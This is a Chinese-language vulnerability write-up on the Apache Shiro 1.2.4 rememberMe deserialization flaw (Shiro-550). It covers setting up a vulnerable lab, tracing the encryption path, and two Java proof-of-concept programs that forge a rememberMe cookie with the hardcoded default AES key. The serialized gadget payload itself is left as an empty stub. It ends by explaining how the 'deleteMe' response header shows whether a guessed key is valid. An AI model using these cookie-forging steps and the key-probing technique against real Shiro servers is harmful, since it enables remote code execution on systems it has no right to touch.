Apache Shiro 1.2.4 反序列化漏洞 (Shiro-550) 深度解析与利用
Shiro 核心架构概述
Apache Shiro 是一个强大且易用的 Java 安全框架,主要用于执行身份验证、授权、密码学和会话管理。在 Shiro 的架构设计中,有三个核心概念支撑着整个安全体系:
- Subject:代表当前与系统交互的用户或实体。
- SecurityManager:Shiro 架构的核心枢纽,负责管理所有的 Subject,并协调内部各个安全组件。
- Realms:作为 Shiro 与应用程序安全数据之间的桥梁,负责获取用户的权限、角色等详细信息,供 SecurityManager 进行认证和授权判断。

Shiro-550 漏洞原理剖析
在 Shiro 1.2.4 及之前的版本中,存在一个严重的反序列化漏洞(CVE-2016-4437,常被称为 Shiro-550)。该漏洞的根源在于 rememberMe 功能的实现机制。
当用户在登录时勾选"记住我"选项,Shiro 会将用户的身份信息(Principal)进行序列化,随后使用 AES 算法进行加密,并进行 Base64 编码,最终将结果存储在 Cookie 的 rememberMe 字段中。在后续的请求中,Shiro 会读取该 Cookie,依次进行 Base64 解码、AES 解密和反序列化操作。
致命缺陷在于,Shiro 早期版本在源码中硬编码了一个默认的 AES 密钥(kPH+bIxk5D2deZiIxcaaaA==)。由于 AES 是对称加密算法,攻击者一旦获知该默认密钥,即可构造恶意的序列化数据,加密后伪造 rememberMe Cookie,从而在服务器端触发反序列化漏洞,实现远程代码执行(RCE)。
漏洞环境构建指南
为了深入分析该漏洞,需要搭建一个基于 Shiro 1.2.4 的测试环境。
- 克隆 Shiro 官方仓库并切换到存在漏洞的版本标签:
git clone https://github.com/apache/shiro.git
cd shiro
git checkout shiro-root-1.2.4
- 使用 IDE 打开
samples/web模块。由于老旧版本可能依赖特定的 JDK 编译插件,建议在项目根目录配置toolchains.xml以指定 JDK 1.6 进行编译,或者直接修改pom.xml移除相关插件限制。 - 在
samples/web/pom.xml中引入存在漏洞的 Commons Collections 依赖(用于构造反序列化利用链)以及 Shiro 核心库:
<dependencies>
<!-- 引入 Commons Collections 4.0 用于构造 CC2 利用链 -->
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>
<!-- 确保 Shiro 版本为 1.2.4 -->
<dependency>
<groupId>org.apache.shiro</groupId>
<artifactId>shiro-web</artifactId>
<version>1.2.4</version>
</dependency>
</dependencies>
配置完成后,将其部署至 Tomcat 等 Servlet 容器中运行即可。
核心加密与解密链路分析
加密链路(登录响应阶段)
当用户认证成功并勾选"记住我"时,加密流程从 DefaultSecurityManager#login 开始。验证通过后,系统会调用 AbstractRememberMeManager#onSuccessfulLogin 方法。
核心处理逻辑如下:
- 调用
getIdentityToRemember获取用户的PrincipalCollection对象。 - 通过
DefaultSerializer将 Principal 对象序列化为字节数组。 - 调用
AesCipherService#encrypt,使用硬编码的默认密钥(从DEFAULT_CIPHER_KEY_BYTES获取)对字节数组进行 AES-CBC 加密。 - 将加密后的字节数组进行 Base64 编码,并写入 HTTP 响应的
Set-Cookie头中。
解密链路(后续请求阶段)
当携带 rememberMe Cookie 的请求到达时,解密流程由 DefaultSecurityManager#getRememberedIdentity 触发。
核心处理逻辑如下:
- 从 HTTP 请求中提取
rememberMeCookie 的值。 - 对该值进行 Base64 解码,还原为加密的字节数组。
- 调用
AesCipherService#decrypt,使用相同的默认密钥进行 AES 解密。 - 将解密后的字节数组传入
DefaultSerializer#deserialize进行 Java 原生反序列化。漏洞即在此刻触发。
PoC 构造与 Payload 生成
要成功利用此漏洞,需要生成恶意的序列化数据(如基于 CommonsCollections2 的利用链),并使用正确的 AES 密钥和 CBC 模式对其进行加密。
方式一:借助 Shiro 原生加密组件
直接利用 Shiro 提供的 AesCipherService 可以最简单地生成合法的 Cookie 值,因为该组件会自动处理 CBC 模式下的 IV(初始化向量)生成与拼接。
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;
import java.util.Base64;
public class ShiroNativePayloadGenerator {
public static void main(String[] args) {
// 假设此处返回 CommonsCollections2 的序列化字节流
byte[] maliciousSerializedData = generateCC2PayloadBytes();
// Shiro 1.2.4 默认硬编码密钥
byte[] defaultSecretKey = Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
AesCipherService cipherService = new AesCipherService();
// Shiro 的 encrypt 方法会自动生成 16 字节 IV 并拼接到密文前
ByteSource encryptedResult = cipherService.encrypt(maliciousSerializedData, defaultSecretKey);
String rememberMeCookie = encryptedResult.toBase64();
System.out.println("Generated RememberMe Cookie: " + rememberMeCookie);
}
private static byte[] generateCC2PayloadBytes() {
// 实际利用时需替换为真实的 CC2 序列化逻辑
return new byte[]{};
}
}
方式二:使用标准 Java Crypto API 手动实现
为了深入理解 Shiro 的 CBC 加密机制,可以使用 Java 原生加密库手动实现。Shiro 在解密时,会提取密文的前 16 个字节作为 IV,剩余部分作为真正的密文。因此,在构造 Payload 时,必须手动生成 IV 并将其与密文拼接。
import javax.crypto.Cipher;
import javax.crypto.spec.IvParameterSpec;
import javax.crypto.spec.SecretKeySpec;
import java.security.SecureRandom;
import java.util.Base64;
public class ManualCBCPayloadGenerator {
public static void main(String[] args) throws Exception {
byte[] payloadBytes = generateCC2PayloadBytes();
byte[] aesKey = Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
// 生成 16 字节的随机初始化向量 (IV)
byte[] ivBytes = new byte[16];
new SecureRandom().nextBytes(ivBytes);
// 配置 AES/CBC/PKCS5Padding 加密器
Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
SecretKeySpec keySpec = new SecretKeySpec(aesKey, "AES");
IvParameterSpec ivSpec = new IvParameterSpec(ivBytes);
cipher.init(Cipher.ENCRYPT_MODE, keySpec, ivSpec);
// 执行加密
byte[] encryptedPayload = cipher.doFinal(payloadBytes);
// 将 IV 拼接到密文的最前面 (Shiro 解密时的约定格式)
byte[] finalCookieBytes = new byte[ivBytes.length + encryptedPayload.length];
System.arraycopy(ivBytes, 0, finalCookieBytes, 0, ivBytes.length);
System.arraycopy(encryptedPayload, 0, finalCookieBytes, ivBytes.length, encryptedPayload.length);
String rememberMeCookie = Base64.getEncoder().encodeToString(finalCookieBytes);
System.out.println("Manual CBC RememberMe Cookie: " + rememberMeCookie);
}
private static byte[] generateCC2PayloadBytes() {
return new byte[]{};
}
}
密钥校验与 DeleteMe 特征分析
在实际渗透测试中,攻击者通常通过观察 HTTP 响应头来判断目标系统是否存在 Shiro 以及默认密钥是否被修改。其核心判断依据是响应头中是否包含 Set-Cookie: rememberMe=deleteMe。
这一特征的底层逻辑位于 AbstractRememberMeManager#getRememberedPrincipals 方法中:
- 当 Shiro 尝试对传入的
rememberMeCookie 进行 Base64 解码或 AES 解密时,如果密钥不匹配或数据被篡改,解密过程会抛出异常(如BadPaddingException)。 - 该异常会被 Shiro 捕获,并触发
onRememberedPrincipalFailure方法。 - 在
onRememberedPrincipalFailure中,系统会调用forgetIdentity方法清理当前的身份信息。 forgetIdentity最终会向 HTTP 响应中写入一个名为rememberMe、值为deleteMe的 Cookie,以覆盖客户端原有的无效 Cookie。
因此,如果发送伪造的 Cookie 后,响应头中依然返回 rememberMe=deleteMe,则说明解密失败(密钥错误或数据损坏);如果响应头中没有该字段,则说明解密和反序列化成功执行,目标系统使用了当前测试的密钥。